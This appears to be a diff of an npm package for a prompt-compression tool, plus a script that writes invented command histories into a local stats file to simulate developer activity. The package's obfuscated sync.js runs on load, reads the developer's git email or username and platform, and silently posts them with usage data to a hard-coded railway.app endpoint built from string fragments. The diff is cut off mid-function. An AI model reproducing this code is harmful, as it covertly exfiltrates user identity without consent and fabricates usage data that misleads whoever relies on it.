models=[a0_0x4c2eb3(0x10d),a0_0x4c2eb3(0xe7),a0_0x4c2eb3(0x118),a0_0x4c2eb3(0x102),a0_0x4c2eb3(0xfc),a0_0x4c2eb3(0x11a)],commands=[{'cmd':a0_0x4c2eb3(0x106),'raw':a0_0x4c2eb3(0x111)[a0_0x4c2eb3(0x113)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x4c2eb3(0xee),'raw':a0_0x4c2eb3(0x10e)+'test\x20tests::test_case_'[a0_0x4c2eb3(0x113)](0x28)+a0_0x4c2eb3(0xe9),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x4c2eb3(0x122),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':a0_0x4c2eb3(0x103),'exitCode':0x0},{'cmd':a0_0x4c2eb3(0x10f),'raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x4c2eb3(0xf0)+a0_0x4c2eb3(0x121),'comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x4c2eb3(0xe8),'raw':a0_0x4c2eb3(0xf3)+a0_0x4c2eb3(0xe6)+a0_0x4c2eb3(0x112)+a0_0x4c2eb3(0x125)+a0_0x4c2eb3(0x100),'comp':a0_0x4c2eb3(0xec),'exitCode':0x0},{'cmd':a0_0x4c2eb3(0xef),'raw':a0_0x4c2eb3(0xf8)+a0_0x4c2eb3(0x104)+a0_0x4c2eb3(0x105),'comp':a0_0x4c2eb3(0x120),'exitCode':0x0},{'cmd':a0_0x4c2eb3(0x10b),'raw':a0_0x4c2eb3(0xf7)+a0_0x4c2eb3(0x124),'comp':a0_0x4c2eb3(0xf4),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x4c2eb3(0x11f)+a0_0x4c2eb3(0x114)+a0_0x4c2eb3(0x11d),'comp':a0_0x4c2eb3(0xe5),'exitCode':0x0}],startTime=Date[a0_0x4c2eb3(0xff)]()-0x36ee80;function a0_0x4ed2(){const _0x1221eb=['__esModule','length','gpt-4o-mini','9rYcchK','claude-3-opus','6mqbwoL','3431955DOPGWN','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','utf8','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20install\x20lodash\x20express\x20uuid\x20react','log','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','timestamp','763005lLzmkx','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','gpt-4o','kubectl\x20get\x20pods\x20-n\x20production','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','defineProperty','floor','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','20067peFQQF','cargo\x20test','pip\x20install\x20tensorflow\x20pandas\x20numpy','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','385840mWrBWM','stats.json','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','1898060EWKJvu','comp','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','178hSqPnB','21893993bWZxvc','random','gemini-1-5-flash','exitCode','path','now','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','3572080NWAkpe','gemini-1-5-pro','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','git\x20diff\x20main','cmd','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','homedir','getLogs','git\x20log\x20-n\x205','133mQNgSr','claude-3-5-sonnet','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','toISOString','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','repeat','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','.trimprompt'];a0_0x4ed2=function(){return _0x1221eb;};return a0_0x4ed2();}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x4c2eb3(0x117)]],commandItem=commands[Math[a0_0x4c2eb3(0xeb)](Math[a0_0x4c2eb3(0xfb)]()*commands[a0_0x4c2eb3(0x117)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4c2eb3(0x110)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0x4c2eb3(0x107)],commandItem['raw'],commandItem[a0_0x4c2eb3(0xf6)],commandItem[a0_0x4c2eb3(0xfd)]),logs=tracker_1['tracker'][a0_0x4c2eb3(0x10a)]();logs[a0_0x4c2eb3(0x117)]>0x0&&(logs[logs[a0_0x4c2eb3(0x117)]-0x1][a0_0x4c2eb3(0x126)]=timestamp,require('fs')['writeFileSync'](require(a0_0x4c2eb3(0xfe))['join'](require('os')[a0_0x4c2eb3(0x109)](),a0_0x4c2eb3(0x115),a0_0x4c2eb3(0xf2)),JSON['stringify'](logs,null,0x2),a0_0x4c2eb3(0x11e)));}console[a0_0x4c2eb3(0x123)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x50b377=a0_0x100d;(function(_0x3ccc2e,_0x54eb75){const _0x4aed21=a0_0x100d,_0x3cf25d=_0x3ccc2e();while(!![]){try{const _0x118efc=-parseInt(_0x4aed21(0x178))/0x1*(parseInt(_0x4aed21(0x16d))/0x2)+-parseInt(_0x4aed21(0x17c))/0x3*(-parseInt(_0x4aed21(0x183))/0x4)+-parseInt(_0x4aed21(0x157))/0x5*(parseInt(_0x4aed21(0x14d))/0x6)+-parseInt(_0x4aed21(0x16c))/0x7+parseInt(_0x4aed21(0x133))/0x8+parseInt(_0x4aed21(0x14e))/0x9+parseInt(_0x4aed21(0x14c))/0xa*(-parseInt(_0x4aed21(0x180))/0xb);if(_0x118efc===_0x54eb75)break;else _0x3cf25d['push'](_0x3cf25d['shift']());}catch(_0x1f5843){_0x3cf25d['push'](_0x3cf25d['shift']());}}}(a0_0x357d,0x57b3d));var __createBinding=this&&this['__createBinding']||(Object[a0_0x50b377(0x147)]?function(_0x579e24,_0x11a8c4,_0x50a6b0,_0x44a80c){const _0x1593aa=a0_0x50b377;if(_0x44a80c===undefined)_0x44a80c=_0x50a6b0;var _0x3cae49=Object['getOwnPropertyDescriptor'](_0x11a8c4,_0x50a6b0);(!_0x3cae49||(_0x1593aa(0x16e)in _0x3cae49?!_0x11a8c4[_0x1593aa(0x17b)]:_0x3cae49[_0x1593aa(0x169)]||_0x3cae49[_0x1593aa(0x167)]))&&(_0x3cae49={'enumerable':!![],'get':function(){return _0x11a8c4[_0x50a6b0];}}),Object[_0x1593aa(0x174)](_0x579e24,_0x44a80c,_0x3cae49);}:function(_0x2632f0,_0x124586,_0xbd1de1,_0x4dc75c){if(_0x4dc75c===undefined)_0x4dc75c=_0xbd1de1;_0x2632f0[_0x4dc75c]=_0x124586[_0xbd1de1];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x50b377(0x147)]?function(_0x24e4a6,_0x1821d5){const _0x339b83=a0_0x50b377;Object[_0x339b83(0x174)](_0x24e4a6,_0x339b83(0x13e),{'enumerable':!![],'value':_0x1821d5});}:function(_0x231cdc,_0x31a868){const _0x216831=a0_0x50b377;_0x231cdc[_0x216831(0x13e)]=_0x31a868;}),__importStar=this&&this['__importStar']||(function(){var _0x4f2da9=function(_0x377c79){const _0xb01098=a0_0x100d;return _0x4f2da9=Object[_0xb01098(0x12e)]||function(_0x4e5abe){const _0x218e8d=_0xb01098;var _0x59fa40=[];for(var _0x3b7d35 in _0x4e5abe)if(Object[_0x218e8d(0x132)]['hasOwnProperty']['call'](_0x4e5abe,_0x3b7d35))_0x59fa40[_0x59fa40[_0x218e8d(0x12d)]]=_0x3b7d35;return _0x59fa40;},_0x4f2da9(_0x377c79);};return function(_0x40e656){const _0x4290e8=a0_0x100d;if(_0x40e656&&_0x40e656[_0x4290e8(0x17b)])return _0x40e656;var _0x1b4f12={};if(_0x40e656!=null){for(var _0x45c23d=_0x4f2da9(_0x40e656),_0x488b01=0x0;_0x488b01<_0x45c23d[_0x4290e8(0x12d)];_0x488b01++)if(_0x45c23d[_0x488b01]!==_0x4290e8(0x13e))__createBinding(_0x1b4f12,_0x40e656,_0x45c23d[_0x488b01]);}return __setModuleDefault(_0x1b4f12,_0x40e656),_0x1b4f12;};}());Object[a0_0x50b377(0x174)](exports,a0_0x50b377(0x17b),{'value':!![]});function a0_0x357d(){const _0x4ae00c=['length','getOwnPropertyNames','utf8','filter','parse','prototype','5055512eSxarp','.raw.txt','toISOString','trim','platform','input_price_1m','anonymous','protocol','startsWith','timeout','https://','default','request','writeFileSync','https','config.json','catch','GPT-4o','username','existsSync','create','homedir','split','last_sync_date','join','380610QkDKrF','30FMpjdf','5398569qNFzFB','destroy','byteLength','end','estimated_compressed_tokens','userInfo','git\x20config\x20user.email','readFileSync','port','28445sLmulP','daily_sync.json','stringify','claude-3-5-sonnet','stats.json','add','GPT-4o\x20Mini','from','includes','ignore','pipe','telemetry_url','error','timestamp','toString','statusCode','configurable','trimp-production','writable','POST','toFixed','1988476zUMnjR','974334ySqGap','get','Claude\x203.5\x20Sonnet','url','Gemini\x201.5\x20Pro','https:','http','defineProperty','pathname','model_used','logs','1XkAwLq','synced','URL','__esModule','3WGnxZr','hostname','application/json','tokens_saved','55yIMbOu','push','unlinkSync','469736YKfAwK','.trimprompt'];a0_0x357d=function(){return _0x4ae00c;};return a0_0x357d();}const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x50b377(0x173))),https=__importStar(require(a0_0x50b377(0x141))),url_1=require(a0_0x50b377(0x170)),_cfg=[a0_0x50b377(0x13d),a0_0x50b377(0x168),'.up.railway.app','/api/telemetry'][a0_0x50b377(0x14b)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x50b377(0x16f),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x50b377(0x144),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x50b377(0x15d),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x50b377(0x171),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os[a0_0x50b377(0x148)](),a0_0x50b377(0x184)),configPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x142)),statsPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x15b)),dailySyncPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x158));function getTodayDate(){const _0x3b5654=a0_0x50b377;return new Date()['toISOString']()[_0x3b5654(0x149)]('T')[0x0];}function getDeveloperIdentity(){const _0x2952d4=a0_0x50b377;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x47151e}=require('child_process'),_0x4108d5=_0x47151e(_0x2952d4(0x154),{'stdio':[_0x2952d4(0x160),_0x2952d4(0x161),_0x2952d4(0x160)]})[_0x2952d4(0x165)]()[_0x2952d4(0x136)]();if(_0x4108d5&&_0x4108d5[_0x2952d4(0x15f)]('@'))return _0x4108d5;}catch{}try{const _0x9b94ca=os[_0x2952d4(0x153)]()[_0x2952d4(0x145)];if(_0x9b94ca)return _0x9b94ca;}catch{}return _0x2952d4(0x139);}function hasAlreadySyncedToday(){const _0x1f69ac=a0_0x50b377;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x496f9d=JSON[_0x1f69ac(0x131)](fs[_0x1f69ac(0x155)](dailySyncPath,'utf8'));return _0x496f9d[_0x1f69ac(0x14a)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x48edf8=a0_0x50b377;try{const _0x4dc556={'last_sync_date':getTodayDate()};fs[_0x48edf8(0x140)](dailySyncPath,JSON[_0x48edf8(0x159)](_0x4dc556,null,0x2),_0x48edf8(0x12f));}catch{}}function postTelemetry(_0x17cd4a,_0x3e7a2a){return new Promise(_0x5b6261=>{const _0x3deff4=a0_0x100d;try{const _0x354349=new url_1[(_0x3deff4(0x17a))](_0x17cd4a),_0x36a432=JSON[_0x3deff4(0x159)](_0x3e7a2a),_0x1afb18={'hostname':_0x354349[_0x3deff4(0x17d)],'port':_0x354349[_0x3deff4(0x156)]||(_0x354349['protocol']===_0x3deff4(0x172)?0x1bb:0x50),'path':_0x354349[_0x3deff4(0x175)]+_0x354349['search'],'method':_0x3deff4(0x16a),'headers':{'Content-Type':_0x3deff4(0x17e),'Content-Length':Buffer[_0x3deff4(0x150)](_0x36a432)},'timeout':0x1f40},_0x2ad0ad=_0x354349[_0x3deff4(0x13a)]===_0x3deff4(0x172)?https:http,_0x52a0bb=_0x2ad0ad[_0x3deff4(0x13f)](_0x1afb18,_0x56d16e=>{const _0xe0bdb6=_0x3deff4;_0x5b6261(!!(_0x56d16e[_0xe0bdb6(0x166)]&&_0x56d16e[_0xe0bdb6(0x166)]>=0xc8&&_0x56d16e[_0xe0bdb6(0x166)]<0x12c));});_0x52a0bb['on'](_0x3deff4(0x163),()=>_0x5b6261(![])),_0x52a0bb['on'](_0x3deff4(0x13c),()=>{const _0x106765=_0x3deff4;_0x52a0bb[_0x106765(0x14f)](),_0x5b6261(![]);}),_0x52a0bb['write'](_0x36a432),_0x52a0bb[_0x3deff4(0x151)]();}catch{_0x5b6261(![]);}});}function buildDailyPayload(_0x4b08e1){const _0x91534a=a0_0x50b377,_0xd4e563=getTodayDate(),_0x5e0778=_0x4b08e1[_0x91534a(0x130)](_0x35a6ca=>_0x35a6ca[_0x91534a(0x164)][_0x91534a(0x13b)](_0xd4e563)),_0x1a0eb=_0x5e0778['length']>0x0?_0x5e0778:_0x4b08e1;let _0x1bc68d=0x0,_0x3a1f84=0x0,_0x3e29e8=0x0,_0x32565e=0x0;const _0x4d2f1d=new Set();for(const _0x9b945 of _0x1a0eb){_0x1bc68d+=_0x9b945['estimated_raw_tokens'],_0x3a1f84+=_0x9b945[_0x91534a(0x152)],_0x3e29e8+=_0x9b945[_0x91534a(0x17f)],_0x4d2f1d[_0x91534a(0x15c)](_0x9b945[_0x91534a(0x176)]);const _0x2ada34=PRICING[_0x9b945['model_used']]||PRICING[_0x91534a(0x15a)];_0x32565e+=_0x9b945[_0x91534a(0x17f)]*_0x2ada34[_0x91534a(0x138)]/0xf4240;}const _0x25bf5f=_0x1a0eb[_0x1a0eb[_0x91534a(0x12d)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x91534a(0x137)](),'date':_0xd4e563,'executions_count':_0x1a0eb[_0x91534a(0x12d)],'total_raw_tokens':_0x1bc68d,'total_compressed_tokens':_0x3a1f84,'total_tokens_saved':_0x3e29e8,'total_money_saved_usd':parseFloat(_0x32565e[_0x91534a(0x16b)](0x6)),'models_used':Array[_0x91534a(0x15e)](_0x4d2f1d),'last_seen':_0x25bf5f?_0x25bf5f[_0x91534a(0x164)]:new Date()[_0x91534a(0x135)]()};}function a0_0x100d(_0x9b64f0,_0x40509b){_0x9b64f0=_0x9b64f0-0x12d;const _0x357d4a=a0_0x357d();let _0x100d63=_0x357d4a[_0x9b64f0];return _0x100d63;}async function runSync(){const _0x1c2880=a0_0x50b377;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2fd0f2;try{_0x2fd0f2=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](statsPath,_0x1c2880(0x12f)));}catch{return;}const _0x25151d=_0x2fd0f2['filter'](_0xd86141=>!_0xd86141[_0x1c2880(0x179)]);if(_0x25151d[_0x1c2880(0x12d)]===0x0)return;const _0x206412=buildDailyPayload(_0x2fd0f2);await postTelemetry(_ep,_0x206412);let _0x26ab1b=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x26ab1b&&fs[_0x1c2880(0x146)](configPath))try{const _0x268352=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](configPath,_0x1c2880(0x12f)));_0x26ab1b=_0x268352[_0x1c2880(0x162)]||'';}catch{}_0x26ab1b[_0x1c2880(0x136)]()[_0x1c2880(0x12d)]>0x0&&await postTelemetry(_0x26ab1b,_0x206412);for(const _0x302324 of _0x2fd0f2){if(!_0x302324['synced'])_0x302324[_0x1c2880(0x179)]=!![];}try{fs[_0x1c2880(0x140)](statsPath,JSON[_0x1c2880(0x159)](_0x2fd0f2,null,0x2),_0x1c2880(0x12f));}catch{}markSyncedToday(),pruneOldLogs(_0x2fd0f2);}function pruneOldLogs(_0x137e78){const _0x53a025=a0_0x50b377;try{const _0x4d202d=new Date(),_0x208ef1=new Date(_0x4d202d['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x142695=[],_0x35d717=[];for(const _0x596d03 of _0x137e78){const _0x5a8903=new Date(_0x596d03[_0x53a025(0x164)]);_0x5a8903>=_0x208ef1?_0x142695['push'](_0x596d03):_0x35d717[_0x53a025(0x181)](_0x596d03);}if(_0x35d717[_0x53a025(0x12d)]>0x0){const _0x1f1c4d=path['join'](baseDir,_0x53a025(0x177));for(const _0x463aef of _0x35d717){const _0x529b94=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+_0x53a025(0x134)),_0x58b08b=path[_0x53a025(0x14b)](_0x1f1c4d,_0x463aef['id']+'.comp.txt');try{if(fs[_0x53a025(0x146)](_0x529b94))fs[_0x53a025(0x182)](_0x529b94);if(fs[_0x53a025(0x146)](_0x58b08b))fs['unlinkSync'](_0x58b08b);}catch{}}fs[_0x53a025(0x140)](statsPath,JSON['stringify'](_0x142695,null,0x2),_0x53a025(0x12f));}}catch{}}runSync()[a0_0x50b377(0x143)](()=>{});
1
+ 'use strict';const a0_0xffdd88=a0_0x544d;(function(_0x36fc5c,_0x560762){const _0x41d148=a0_0x544d,_0x39a0ee=_0x36fc5c();while(!![]){try{const _0x28c367=-parseInt(_0x41d148(0x228))/0x1*(-parseInt(_0x41d148(0x215))/0x2)+parseInt(_0x41d148(0x217))/0x3+parseInt(_0x41d148(0x21a))/0x4+-parseInt(_0x41d148(0x231))/0x5+parseInt(_0x41d148(0x1e4))/0x6+-parseInt(_0x41d148(0x1ec))/0x7*(-parseInt(_0x41d148(0x1fd))/0x8)+-parseInt(_0x41d148(0x22d))/0x9*(parseInt(_0x41d148(0x1f5))/0xa);if(_0x28c367===_0x560762)break;else _0x39a0ee['push'](_0x39a0ee['shift']());}catch(_0x4b5520){_0x39a0ee['push'](_0x39a0ee['shift']());}}}(a0_0x38d1,0x5568d));var __createBinding=this&&this[a0_0xffdd88(0x212)]||(Object[a0_0xffdd88(0x20d)]?function(_0x3650f1,_0x6af601,_0x1e29c2,_0xc7f3af){const _0x35e924=a0_0xffdd88;if(_0xc7f3af===undefined)_0xc7f3af=_0x1e29c2;var _0x45b635=Object[_0x35e924(0x21e)](_0x6af601,_0x1e29c2);(!_0x45b635||(_0x35e924(0x209)in _0x45b635?!_0x6af601[_0x35e924(0x1e5)]:_0x45b635['writable']||_0x45b635['configurable']))&&(_0x45b635={'enumerable':!![],'get':function(){return _0x6af601[_0x1e29c2];}}),Object[_0x35e924(0x1df)](_0x3650f1,_0xc7f3af,_0x45b635);}:function(_0x5454ac,_0x27d3a4,_0x53f4be,_0x417fa0){if(_0x417fa0===undefined)_0x417fa0=_0x53f4be;_0x5454ac[_0x417fa0]=_0x27d3a4[_0x53f4be];}),__setModuleDefault=this&&this[a0_0xffdd88(0x20a)]||(Object[a0_0xffdd88(0x20d)]?function(_0x432c0d,_0x3e8049){const _0x3438bf=a0_0xffdd88;Object[_0x3438bf(0x1df)](_0x432c0d,_0x3438bf(0x206),{'enumerable':!![],'value':_0x3e8049});}:function(_0xed3012,_0x21ebab){_0xed3012['default']=_0x21ebab;}),__importStar=this&&this[a0_0xffdd88(0x1e6)]||(function(){var _0x495aa2=function(_0x179b85){const _0x3088ac=a0_0x544d;return _0x495aa2=Object[_0x3088ac(0x21c)]||function(_0x5ab855){const _0xbb27a3=_0x3088ac;var _0x5dbf13=[];for(var _0x1e1d9a in _0x5ab855)if(Object[_0xbb27a3(0x22b)]['hasOwnProperty'][_0xbb27a3(0x229)](_0x5ab855,_0x1e1d9a))_0x5dbf13[_0x5dbf13[_0xbb27a3(0x1f7)]]=_0x1e1d9a;return _0x5dbf13;},_0x495aa2(_0x179b85);};return function(_0x517ba0){const _0x2edc57=a0_0x544d;if(_0x517ba0&&_0x517ba0['__esModule'])return _0x517ba0;var _0x55089d={};if(_0x517ba0!=null){for(var _0x507786=_0x495aa2(_0x517ba0),_0x3ee33d=0x0;_0x3ee33d<_0x507786[_0x2edc57(0x1f7)];_0x3ee33d++)if(_0x507786[_0x3ee33d]!==_0x2edc57(0x206))__createBinding(_0x55089d,_0x517ba0,_0x507786[_0x3ee33d]);}return __setModuleDefault(_0x55089d,_0x517ba0),_0x55089d;};}());function a0_0x38d1(){const _0x215d1d=['existsSync','163952EMzDdP','path','child_process','logs','parse','application/json','includes','/api/telemetry','stringify','default','.raw.txt','synced','get','__setModuleDefault','Claude\x203.5\x20Sonnet','estimated_compressed_tokens','create','destroy','protocol','timestamp','split','__createBinding','utf8','readFileSync','22aihjfj','claude-3-5-sonnet','1856928ydziGf','telemetry_url','end','2024340HgZtmO','https:','getOwnPropertyNames','Claude\x203\x20Opus','getOwnPropertyDescriptor','pipe','ignore','.trimprompt','daily_sync.json','http','statusCode','.comp.txt','POST','toString','57821YCrSSp','call','stats.json','prototype','add','72099voGqdL','filter','startsWith','join','2830150KdpcTU','byteLength','Gemini\x201.5\x20Pro','writeFileSync','defineProperty','request','https://','model_used','error','3986292OJDLdX','__esModule','__importStar','homedir','toISOString','port','https','URL','7SahCzl','getTime','GPT-4o','tokens_saved','platform','from','hostname','push','Gemini\x201.5\x20Flash','1910HXyqzg','git\x20config\x20user.email','length','trim','unlinkSync','trimp-production','toFixed'];a0_0x38d1=function(){return _0x215d1d;};return a0_0x38d1();}Object[a0_0xffdd88(0x1df)](exports,a0_0xffdd88(0x1e5),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0xffdd88(0x1fe))),os=__importStar(require('os')),http=__importStar(require(a0_0xffdd88(0x223))),https=__importStar(require(a0_0xffdd88(0x1ea))),url_1=require('url'),_cfg=[a0_0xffdd88(0x1e1),a0_0xffdd88(0x1fa),'.up.railway.app',a0_0xffdd88(0x204)][a0_0xffdd88(0x230)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0xffdd88(0x20b),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0xffdd88(0x21d),'input_price_1m':0xf},'gpt-4o':{'name':a0_0xffdd88(0x1ee),'input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0xffdd88(0x1dd),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0xffdd88(0x1f4),'input_price_1m':0.075}},baseDir=path[a0_0xffdd88(0x230)](os[a0_0xffdd88(0x1e7)](),a0_0xffdd88(0x221)),configPath=path[a0_0xffdd88(0x230)](baseDir,'config.json'),statsPath=path['join'](baseDir,a0_0xffdd88(0x22a)),dailySyncPath=path['join'](baseDir,a0_0xffdd88(0x222));function getTodayDate(){const _0x39a439=a0_0xffdd88;return new Date()[_0x39a439(0x1e8)]()[_0x39a439(0x211)]('T')[0x0];}function a0_0x544d(_0x4b7d6d,_0x8bdd3d){_0x4b7d6d=_0x4b7d6d-0x1dd;const _0x38d1b6=a0_0x38d1();let _0x544d14=_0x38d1b6[_0x4b7d6d];return _0x544d14;}function getDeveloperIdentity(){const _0x53d139=a0_0xffdd88;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x1a5ba4}=require(_0x53d139(0x1ff)),_0x1ea111=_0x1a5ba4(_0x53d139(0x1f6),{'stdio':[_0x53d139(0x220),_0x53d139(0x21f),'ignore']})[_0x53d139(0x227)]()[_0x53d139(0x1f8)]();if(_0x1ea111&&_0x1ea111[_0x53d139(0x203)]('@'))return _0x1ea111;}catch{}try{const _0x2208cf=os['userInfo']()['username'];if(_0x2208cf)return _0x2208cf;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x41a213=a0_0xffdd88;try{if(!fs[_0x41a213(0x1fc)](dailySyncPath))return![];const _0x339843=JSON[_0x41a213(0x201)](fs[_0x41a213(0x214)](dailySyncPath,_0x41a213(0x213)));return _0x339843['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2e61cf=a0_0xffdd88;try{const _0x33f12b={'last_sync_date':getTodayDate()};fs[_0x2e61cf(0x1de)](dailySyncPath,JSON['stringify'](_0x33f12b,null,0x2),_0x2e61cf(0x213));}catch{}}function postTelemetry(_0x3cbd66,_0x4e4c78){return new Promise(_0x37dbfd=>{const _0x3e1477=a0_0x544d;try{const _0x2a33c0=new url_1[(_0x3e1477(0x1eb))](_0x3cbd66),_0x744c7c=JSON[_0x3e1477(0x205)](_0x4e4c78),_0x28fde7={'hostname':_0x2a33c0[_0x3e1477(0x1f2)],'port':_0x2a33c0[_0x3e1477(0x1e9)]||(_0x2a33c0['protocol']===_0x3e1477(0x21b)?0x1bb:0x50),'path':_0x2a33c0['pathname']+_0x2a33c0['search'],'method':_0x3e1477(0x226),'headers':{'Content-Type':_0x3e1477(0x202),'Content-Length':Buffer[_0x3e1477(0x232)](_0x744c7c)},'timeout':0x1f40},_0x35f535=_0x2a33c0[_0x3e1477(0x20f)]==='https:'?https:http,_0x221195=_0x35f535[_0x3e1477(0x1e0)](_0x28fde7,_0xe74ed0=>{const _0x2c4957=_0x3e1477;_0x37dbfd(!!(_0xe74ed0['statusCode']&&_0xe74ed0[_0x2c4957(0x224)]>=0xc8&&_0xe74ed0[_0x2c4957(0x224)]<0x12c));});_0x221195['on'](_0x3e1477(0x1e3),()=>_0x37dbfd(![])),_0x221195['on']('timeout',()=>{const _0x48afdc=_0x3e1477;_0x221195[_0x48afdc(0x20e)](),_0x37dbfd(![]);}),_0x221195['write'](_0x744c7c),_0x221195[_0x3e1477(0x219)]();}catch{_0x37dbfd(![]);}});}function buildDailyPayload(_0x23ba50){const 